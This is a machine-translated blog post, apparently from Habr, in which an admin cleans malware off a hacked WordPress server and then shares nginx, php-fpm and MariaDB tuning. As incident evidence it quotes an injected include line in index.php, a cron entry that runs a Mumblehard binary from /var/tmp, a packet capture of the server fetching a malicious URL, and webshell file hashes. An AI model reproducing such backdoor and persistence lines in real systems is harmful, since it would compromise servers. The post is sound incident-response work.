A tale about how I treated a server with WP, or 700 users online on 2 cores
Good day, Friday is clear, brave young man or red maid!
You can believe me, you can not believe me, but this tale began with a couple of news on my e-mail and here is such a picture, beauty unwritten:
')
This is 500 brave good fellows online (by dispatch from Google) on the overseas engine, wordpress called, on the server Intel Xeon E3 1245v2 (soyoustart, E3-SSD-3). A manuscript was attached to the canvas to help in optimizing this economy.
Disclaimer: This article shows quick diagnostics of a buggy server and lists configs that you might find useful. If you have something to supplement or criticize, do not hesitate to write about it in the comments, for one head is worse than two, two is worse than three, and n-1 is worse than n. Infections, torn from the server are flooded with gist with acc. comments as private, clear the stump that you should not run them on the system, for this there is a debug and ideone.com .
I was still lazily hanging on Skype and wanted to remove the damage on the phone, as a rule it works, because copy-paste does not lie until the spaces after the passwords are copied.
gave out:
After the command:
It became beautiful:
But all php reared, including filled phpinfo ().
Still driven by the desire to solve remotely and not wanting to connect, I asked to run
and then unban:
After that they sent me a log:
It can be seen that
My laziness prompted the unfortunate admin, saying to find all the moments of turning on this outrage. Files were found, the paths relative to the "root of the site":
I then asked me to drop index.php from WP and got this miracle
As a result, under the distribution got a pack of files in / wp-includes / :
In general, it was no longer possible to stand aside, and I took ssh access to a modest freshly installed (February 2017) debian 7, php 5.4, ISP demo panel flavored with proftpd ... with apache to the heap (by the same sites php-fpm taxied) ...
After searching for php files in different directories, I ran into / wp-content / uploads / :
Then in the folder / wp-content / plugins / , I did not download similar files:
wp-dojika.php is a Game of trones fan as wp-jojiro.php.
As you can see - they obfustsirovany. In one way or another, the next step I chose all php with
and found another one, WAIpro.php , from which such a decoded file is torn out, which pulls a lot of different nasty things, like for example apiword.press/addadmin_1.txt ( gist ).
Files have been moved for future picking.
Traffic dropped very much. After a day of going in and seeing the increased traffic, I ordered:
I got a sheet that was spinning faster than an army fan from the same name adegdot. After shutting down php, the problem did not disappear. I do not believe, I said and entered
... and, cherry on the cake, was the conclusion:
Then sha256sum:
Which is someone other than Linux / Mumblehard.U . How he got there ... honestly to understand it was already too lazy. Fortunately, the unfortunate admin had his old virtual (OVH VPS SSD 3), paid until February 21, with which this was transferred by another goreadmin on February 4 due to the fact that she (virtual) could not cope with the load. And the "unfortunate admin" came out to me on February 6 with a simple request to optimize this economy.
As a result, the site (as it is possible) was cleared of the biak stuck on it, transferred to the rearranged old virtual machine (which boldly sent spam to the full width of the channel), and now it shows the following modest numbers, the value is in peak (700 users online by googleAnal, cache 3 seconds):
The configuration is quite simple: php-fpm 7.0.16 (7.1.1 is not perceived by some plugins)
+ memcached
fpm-fpm sits in chroot,
Nginx is also on a fairly simple configuration (fpm is hooked up on the port, not on the socket), and the cache looks like:
Where
The cache is on the remdisk (tmpfs) with a capacity of 1 GB. If anyone is interested in tests of the same PPS (but empty), then here they are (gist).
Dynamics is given at 12 r / sec, static at 256 r / sec. Basically, the cache is all over the head ... 470 online without the nginx cache:
Here with the nginx cache:
MySQL MariaDB is different from the default code below:
Logs of access and nginx errors are written actively (1.5GB per day), the flight is normal for 3 days and the server is clean, judging by the logs and activity in general, including the fpm log.
Also in the fpm log already in the fresh PRT:
After that, there were searches for files that may be similar to functions.php in one way or another (similar commands), but nothing suspicious was found.
The next step will be to lock sites for cloudflare, playing
Warm sun and a real weekend!
You can believe me, you can not believe me, but this tale began with a couple of news on my e-mail and here is such a picture, beauty unwritten:
')
This is 500 brave good fellows online (by dispatch from Google) on the overseas engine, wordpress called, on the server Intel Xeon E3 1245v2 (soyoustart, E3-SSD-3). A manuscript was attached to the canvas to help in optimizing this economy.
Disclaimer: This article shows quick diagnostics of a buggy server and lists configs that you might find useful. If you have something to supplement or criticize, do not hesitate to write about it in the comments, for one head is worse than two, two is worse than three, and n-1 is worse than n. Infections, torn from the server are flooded with gist with acc. comments as private, clear the stump that you should not run them on the system, for this there is a debug and ideone.com .
I was still lazily hanging on Skype and wanted to remove the damage on the phone, as a rule it works, because copy-paste does not lie until the spaces after the passwords are copied.
netstat -ntu | awk '{print $5}'| cut -d: -f1 | sort | uniq -c | sort -nr | more gave out:
After the command:
iptables -I INPUT -s 188.138.89.112 -j DROP It became beautiful:
But all php reared, including filled phpinfo ().
Still driven by the desire to solve remotely and not wanting to connect, I asked to run
tcpdump -i eth0 dst host 188.138.89.112 -v -XX and then unban:
iptables -D INPUT -s 188.138.89.112 -j DROP After that they sent me a log:
Host: broin.top Accept: */* 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 006f 900d 4000 4006 0592 2e69 6086 bc8a .o..@.@....i`... 0x0020: 5970 d8f5 0050 3be0 6f97 6bd8 b0e4 8018 Yp...P;.ok.... 0x0030: 00e5 a54b 0000 0101 080a 03dd ffa0 4221 ...K..........B! 0x0040: da17 4745 5420 2f6c 6e6b 2f69 6e6a 2e70 ..GET./lnk/inj.p 0x0050: 6870 2048 5454 502f 312e 310d 0a48 6f73 hp.HTTP/1.1..Hos 0x0060: 743a 2062 726f 696e 2e74 6f70 0d0a 4163 t:.broin.top..Ac 0x0070: 6365 7074 3a20 2a2f 2a0d 0a0d 0a cept:.*/*.... 20:33:17.765232 IP (tos 0x0, ttl 64, id 50803, offset 0, flags [DF], proto TCP (6), length 52) server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x6231), ack 15929, win 477, options [nop,nop,TS val 64880546 ecr 1109514777], length 0 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 0034 c673 4000 4006 cf66 2e69 6086 bc8a .4.s@.@..fi`... 0x0020: 5970 d8f4 0050 8d4b 3a3b a61a 0724 8010 Yp...PK:;...$.. 0x0030: 01dd a510 0000 0101 080a 03dd ffa2 4221 ..............B! 0x0040: da19 .. 20:33:17.765486 IP (tos 0x0, ttl 64, id 50804, offset 0, flags [DF], proto TCP (6), length 52) server.s.55540 > xray874.dedicatedpanel.com.http: Flags [.], cksum 0xa510 (incorrect -> 0x5c72), ack 17377, win 500, options [nop,nop,TS val 64880546 ecr 1109514777], length 0 0x0000: 0007 b400 0102 3860 7713 ffbe 0800 4500 ......8`w.....E. 0x0010: 0034 c674 4000 4006 cf65 2e69 6086 bc8a .4.t@.@..ei`... 0x0020: 5970 d8f4 0050 8d4b 3a3b a61a 0ccc 8010 Yp...PK:;...... 0x0030: 01f4 a510 0000 0101 080a 03dd ffa2 4221 ..............B! It can be seen that
http://broin.top/lnk/inj.php twitching, here is the link to gist and decoded .My laziness prompted the unfortunate admin, saying to find all the moments of turning on this outrage. Files were found, the paths relative to the "root of the site":
I then asked me to drop index.php from WP and got this miracle
@include_once('./wp-includes/wp-mod.php'); As a result, under the distribution got a pack of files in / wp-includes / :
- 9f120c79d956d543a1cd44902f0f50056b3338cc1136effb6c208bf46fcf74fd wp-010617.php
- d0eb12533eed5d316504573976e611a71fd066f8fe5591422f6f49cdcaa8ff5e wp-0bf.php
- cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
- d67051bc4d20782f770dac771cfdf68e876156a0b012be2462f8a436dad07ceb wp-file.php
- 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
- ee53973940016c403f457762e0c270d9729a101337bcdf3d6e4667b050549316 wp-mod.php
- 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-obf.php
- 89e96f69b8cb9d54959b300cc03b1312a0500c24ddffb6659e6acb688a1cfd8d wp-pas.php
- 6c752d54255ead4b7db10e00f7b53ba9132b0c143c5bb3f667e2a81eb98801cc wp-wso.php
In general, it was no longer possible to stand aside, and I took ssh access to a modest freshly installed (February 2017) debian 7, php 5.4, ISP demo panel flavored with proftpd ... with apache to the heap (by the same sites php-fpm taxied) ...
After searching for php files in different directories, I ran into / wp-content / uploads / :
- cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
- 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
- 9b53f3e7243b78e6d0978817aab98c58e4598aa6a3c012ed10621b6e59c9283e wp-uso.php
Then in the folder / wp-content / plugins / , I did not download similar files:
- cfb91fbc45eb7a74791a7845e7b18c2b8771b217ee27150a6f8422a1a073cc6d wp-accuracy.php
- 510785b58d10fc7687a63548adffc4cee82b68974fe1c349824d90cbfbfe39e7 wp-dojika.php
- d67051bc4d20782f770dac771cfdf68e876156a0b012be2462f8a436dad07ceb wp-file.php
- 5503f88744374570f9168216ee174ced87c80ef17d8f17accb2001f985862267 wp-fiscal.php
- 86a4d9ef20d506eab64ece2ef1c6555bc2404c4ded0aac6a846d64837e1a509b wp-jojiro.php
- 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-obf.php
- 5361bdbd75b368e79d17a47282f0ce6cd2759ccfdef8833ff38fe2a5dee95170 wp-orekio.php
- 89e96f69b8cb9d54959b300cc03b1312a0500c24ddffb6659e6acb688a1cfd8d wp-pas.php
- 6c752d54255ead4b7db10e00f7b53ba9132b0c143c5bb3f667e2a81eb98801cc wp-wso.php
wp-dojika.php is a Game of trones fan as wp-jojiro.php.
As you can see - they obfustsirovany. In one way or another, the next step I chose all php with
grep -A 3 -B 3 --include=\*.php -rnw '/path/to/www/' -e ".*base64_decode.*" and found another one, WAIpro.php , from which such a decoded file is torn out, which pulls a lot of different nasty things, like for example apiword.press/addadmin_1.txt ( gist ).
Files have been moved for future picking.
Traffic dropped very much. After a day of going in and seeing the increased traffic, I ordered:
tcpdump -i eth0 dst port 25 -v -XX I got a sheet that was spinning faster than an army fan from the same name adegdot. After shutting down php, the problem did not disappear. I do not believe, I said and entered
crontab -u admin -e .... and, cherry on the cake, was the conclusion:
crontab -u admin -e */10 * * * * /var/tmp/eumqvTiN >/dev/null 2>&1 Then sha256sum:
694fc1f7f17d5f3c447fcdb83fa6177b736b241430e70309a4b3111ef1d0e3b9 eumqvTiN Which is someone other than Linux / Mumblehard.U . How he got there ... honestly to understand it was already too lazy. Fortunately, the unfortunate admin had his old virtual (OVH VPS SSD 3), paid until February 21, with which this was transferred by another goreadmin on February 4 due to the fact that she (virtual) could not cope with the load. And the "unfortunate admin" came out to me on February 6 with a simple request to optimize this economy.
As a result, the site (as it is possible) was cleared of the biak stuck on it, transferred to the rearranged old virtual machine (which boldly sent spam to the full width of the channel), and now it shows the following modest numbers, the value is in peak (700 users online by googleAnal, cache 3 seconds):
The configuration is quite simple: php-fpm 7.0.16 (7.1.1 is not perceived by some plugins)
./configure --prefix=/opt/php-7.0 --with-pdo-pgsql --with-zlib-dir --with-freetype-dir --enable-mbstring --with-libxml-dir=/usr --enable-soap --enable-calendar --with-curl --with-mcrypt --with-zlib --with-gd --with-pgsql --disable-rpath --enable-inline-optimization --with-bz2 --with-zlib --enable-sockets --enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --enable-exif --enable-bcmath --with-mhash --enable-zip --with-pcre-regex --with-pdo-mysql --with-mysqli --with-mysql-sock=/var/run/mysqld/mysqld.sock --with-jpeg-dir=/usr --with-png-dir=/usr --enable-gd-native-ttf --with-openssl --with-fpm-user=www-data --with-fpm-group=www-data --with-libdir=/lib/x86_64-linux-gnu --enable-ftp --with-imap --with-imap-ssl --with-kerberos --with-gettext --with-xmlrpc --with-xsl --enable-opcache --enable-fpm --enable-intl + memcached
fpm-fpm sits in chroot,
[wwwsomeone] listen = 127.0.0.1:9001 listen.allowed_clients = 127.0.0.1 user = wwwsomeone group = wwwsomeone pm = dynamic pm.max_children = 50 pm.start_servers = 10 pm.min_spare_servers = 5 pm.max_spare_servers = 10 chroot = /path/to/folder chdir = / catch_workers_output = yes Nginx is also on a fairly simple configuration (fpm is hooked up on the port, not on the socket), and the cache looks like:
fastcgi_cache_key "$scheme:$server_name:$server_port:$request_uri"; fastcgi_cache mapcgi; fastcgi_cache_lock on; fastcgi_cache_lock_timeout 6s; fastcgi_cache_valid 200 301 302 304 3s; fastcgi_cache_valid 403 404 10s; fastcgi_no_cache $cookie_wordpress_auth_cookie; fastcgi_cache_methods GET HEAD; Where
$cookie_wordpress_auth_cookie checks for wordpress_auth_cookie cookies and disables the caching of responses. Now the cache is, why the load fell the most: fastcgi_cache_lock_timeout 10s; fastcgi_cache_valid 200 301 302 304 2m; fastcgi_cache_valid 403 404 30s; The cache is on the remdisk (tmpfs) with a capacity of 1 GB. If anyone is interested in tests of the same PPS (but empty), then here they are (gist).
Dynamics is given at 12 r / sec, static at 256 r / sec. Basically, the cache is all over the head ... 470 online without the nginx cache:
Here with the nginx cache:
[mysqld] user = mysql pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock port = 3306 basedir = /usr datadir = /var/lib/mysql tmpdir = /tmp #init-connect='SET NAMES utf8' lc-messages-dir = /usr/share/mysql language = /usr/share/mysql/english skip-external-locking bind-address = 127.0.0.1 collation-server = utf8_unicode_ci character-set-server = utf8 event_scheduler = on innodb_file_per_table = 1 innodb_flush_method=O_DIRECT innodb_lock_wait_timeout = 50 innodb_buffer_pool_size = 1G join_buffer_size = 32M max_connections = 1024 max_allowed_packet = 256M max_join_size = 4096000 myisam_sort_buffer_size = 32M myisam-recover = BACKUP thread_cache_size = 16 key_buffer_size=32M net_buffer_length = 16K read_buffer_size=64M read_rnd_buffer_size = 8M sort_buffer_size = 32M bulk_insert_buffer_size = 256M expire_logs_days = 10 max_binlog_size = 100M # tmp_table_size = 1G max_heap_table_size = 1G # table_cache = 8192 open-files-limit = 262144 transaction-isolation = READ-COMMITTED query_cache_type = 2 query_cache_limit = 2M query_cache_size = 256M connect_timeout=30 wait_timeout=300 Logs of access and nginx errors are written actively (1.5GB per day), the flight is normal for 3 days and the server is clean, judging by the logs and activity in general, including the fpm log.
Also in the fpm log already in the fresh PRT:
[16-Feb-2017 23:06:42] WARNING: [pool www] child 15075 said into stderr: "NOTICE: PHP message: PHP Fatal error: Uncaught Error: Call to undefined function mysql_escape_string() in /www/wp-content/themes/------/functions.php:60" - 3622502af8083e53ced808af6ca7aca0bd3cb088d1df309964ab865f51ec90ca functions.php
After that, there were searches for files that may be similar to functions.php in one way or another (similar commands), but nothing suspicious was found.
The next step will be to lock sites for cloudflare, playing
add_header Cache-Control "public, max-age=123456789"; for content without authorization and add_header Cache-Control "private, max-age=0"; when cookies are present in the response and enable their firewall, providing additional protection for the “hapless admin” and his blogs.Warm sun and a real weekend!
Source: https://habr.com/ru/post/322120/
All Articles